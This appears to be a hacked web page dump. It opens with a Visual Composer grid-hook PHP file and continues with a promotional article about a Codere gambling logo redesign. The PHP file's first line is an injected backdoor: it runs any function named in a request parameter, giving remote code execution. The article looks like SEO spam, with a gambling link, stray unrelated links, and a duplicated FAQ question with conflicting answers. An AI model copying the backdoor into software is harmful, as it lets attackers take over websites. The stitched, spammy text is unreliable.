?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Codere Logo Redesign — Forging a Memorable Visual Identity - Groupe-SLG

Groupe SLG

Codere Logo Redesign — Forging a Memorable Visual Identity

Recrutement :

Codere Logo Redesign — Forging a Memorable Visual Identity

When a brand has been around for decades in the competitive world of online gaming, a visual refresh can feel like walking a tightrope. Codere, one of the most recognized names in the gambling and sports betting industry, recently took that step. The journey of the Codere logo is not just about changing colors or fonts—it is about crafting a symbol that speaks to both tradition and the digital future. The evolution of this mark offers a fascinating glimpse into how a company balances heritage with modernity, and why a well-executed redesign matters more than ever in a crowded marketplace. For those curious about the brand’s current offerings, a visit to https://codere.website can show how the visual identity carries into the live experience.

The previous iteration of the Codere logo was serviceable but somewhat generic. It leaned heavily on a classic serif typeface, suggesting stability but failing to capture the energy of a brand that thrives on adrenaline and split-second decisions. The old mark felt like a relic from a time when brick-and-mortar betting shops were the primary touchpoint. Today, though, the audience has shifted dramatically. Mobile apps, live streaming, and in-play betting demand a logo that scales down to a tiny app icon yet still conveys excitement and trust. The redesign had to solve this puzzle—and it did so by stripping away unnecessary ornamentation while introducing a bold, geometric simplicity that catches the eye without shouting.

One of the most striking changes is the introduction of a custom wordmark. Instead of relying on a pre-existing commercial font, the new design uses letterforms that are slightly condensed and squared-off. This subtle tweak gives the name a more solid, grounded feel, almost as if the letters are standing firm against the chaos of a live match. The lowercase letters, particularly the “c” and the “e,” have been optically adjusted for better balance. This is the kind of detail that goes unnoticed by the casual observer but makes a world of difference in brand recall. The color palette has also been refined—switching to a deeper, more vibrant shade of blue, paired with a bright, energetic yellow for accents. Blue conveys reliability and security, while yellow injects a dose of optimism and fun.

From Cumbersome to Crisp: The Symbolic Shift

Beyond the typography, the emblem itself has undergone a radical simplification. Where the old logo featured a complex, illustrative icon that tried to represent a bull or a target—depending on the viewer’s imagination—the new mark is almost abstract. The designers have opted for a clean, circular badge that contains a stylized letter “C” and a dynamic swoosh. This swoosh is not just decorative; it represents movement, speed, and the continuous cycle of play. It also creates a subtle visual pun on the idea of a “spin,” which resonates deeply with slot machine enthusiasts. The negative space within the “C” forms a subtle arrow, a nod to forward progress and winning.

This symbolic clarity is a massive improvement. The old icon was often mistaken for a random shape at small sizes, but the new one is instantly legible. It works beautifully in monochrome, which is essential for print materials like tickets and receipts, and it retains its punch on high-resolution screens. The logo’s proportions have been mathematically aligned, ensuring that the optical weight is evenly distributed. This is the difference between a logo that looks “just fine” and one that feels professionally engineered. A good test is to look at it in grayscale; the new Codere mark passes with flying colors, while the old one appeared muddy and indistinct.

Why This Refresh Matters for Player Trust

In an industry often marred by skepticism, trust is the currency that matters most. A logo is often the first point of contact a potential player has with a casino, and a dated or sloppy design can raise immediate red flags. The redesign sends a clear message: this company is willing to evolve, to invest in its future, and to present itself as a modern operator. The new mark exudes confidence—it is not trying to hide behind gimmicks. Instead, it presents a clean, transparent face to the public. This is particularly important when dealing with regulatory bodies and responsible gaming advocates, who look for signs of professionalism and accountability.

The timing of the redesign is also strategic. As the online casino market becomes saturated with new entrants, many of whom have flashy but forgettable branding, Codere needed a point of difference. The new logo, with its timeless yet contemporary appeal, is designed to remain relevant for at least another decade. It avoids trendy elements like gradients or 3D effects that age quickly. Instead, it uses a flat, vector-based style that is future-proof. This approach reduces the need for frequent redesigns, saving both money and brand equity in the long run. The consistency across all platforms—from the website to mobile apps to physical betting shops—creates a seamless brand experience that reinforces memory.

Key Elements of the New Visual Language

  • http://childpsychiatryassociates.com/treatment-team/ronald-hilliard/ Bold Typography: The custom sans-serif wordmark improves legibility across all devices.
  • Luoyang Dynamic Symbolism: The circular badge with a swoosh suggests continuity and excitement.
  • Refined Palette: A deep blue and energetic yellow combination balances trust with playfulness.
  • Minimalist Iconography: Removes clutter, allowing for instant recognition at any size.
  • Adaptive Design: The logo performs flawlessly on dark and light backgrounds alike.

The roll-out of the new identity has been handled with care, appearing first on the website and social media channels before transitioning to physical signage. This phased approach prevented consumer confusion and allowed the brand to control the narrative. Feedback from long-time users has been largely positive, with many appreciating the fresh yet familiar feel. The logo no longer feels like an afterthought; it is now an integral part of the gaming experience. It appears subtly on the felt of virtual tables, on loading screens, and even on promotional banners—always present but never intrusive.

Comparing the Old Guard with the New Wave

To fully appreciate the scope of the change, one must look at the two designs side by side. The transformation is not merely cosmetic; it is a complete philosophical shift in how the brand perceives itself.

Aspect Old Logo New Logo
Typography Serif, ornate, traditional Sans-serif, geometric, modern
Iconography Detailed, illustrative Minimalist, abstract
Color Muted blue and grey Vibrant blue with yellow accents
Scalability Poor at small sizes Excellent across all platforms
Brand Personality Conservative, dated Dynamic, forward-thinking

This table highlights the tangible improvements in usability and perception. The old logo’s complex lines often broke when printed on low-quality paper or when resized for a mobile screen. The new one maintains its integrity due to the bold strokes and simplified shapes. Furthermore, the new logo lends itself better to animation, which is a growing trend in digital marketing. A subtle movement in the swoosh can bring the logo to life during a live stream, adding an extra layer of engagement without being distracting.

Frequently Asked Questions

Q: Why did Codere decide to change its logo after so many years?
A: The primary motivation was to modernize the brand and better connect with a digital-first audience. The old design felt dated and lacked the versatility required for mobile apps and online platforms.

Q: Will the old logo still be used anywhere?
No, the transition is complete. All official channels, from the website to physical branches, now exclusively use the new mark to ensure a unified brand presence.

Q: Does the new logo work on all backgrounds?
Yes, the design team rigorously tested the logo against various backgrounds, including the vibrant imagery often used in promotional materials.

Q: Is there a meaning behind the swoosh symbol?
Yes, the swoosh represents movement and the spinning action of a game wheel. It also forms a subtle arrow, symbolizing progress and a forward-looking approach.

Q: Will the old logo still be used anywhere?
No, the old logo has been completely retired. However, some legacy assets may still feature it temporarily during the transition period, but the goal is full replacement.

In the end, the Codere logo redesign is a masterclass in strategic branding. It proves that a logo is not just a pretty picture—it is a promise to the user. A promise of reliability, excitement, and forward momentum. The new mark is a testament to the brand’s resilience and its ability to adapt to changing times while staying true to its core values. As the digital and physical worlds continue to merge, this is exactly the kind of visual identity that will help Codere stand out and remain top-of-mind for players around the globe.

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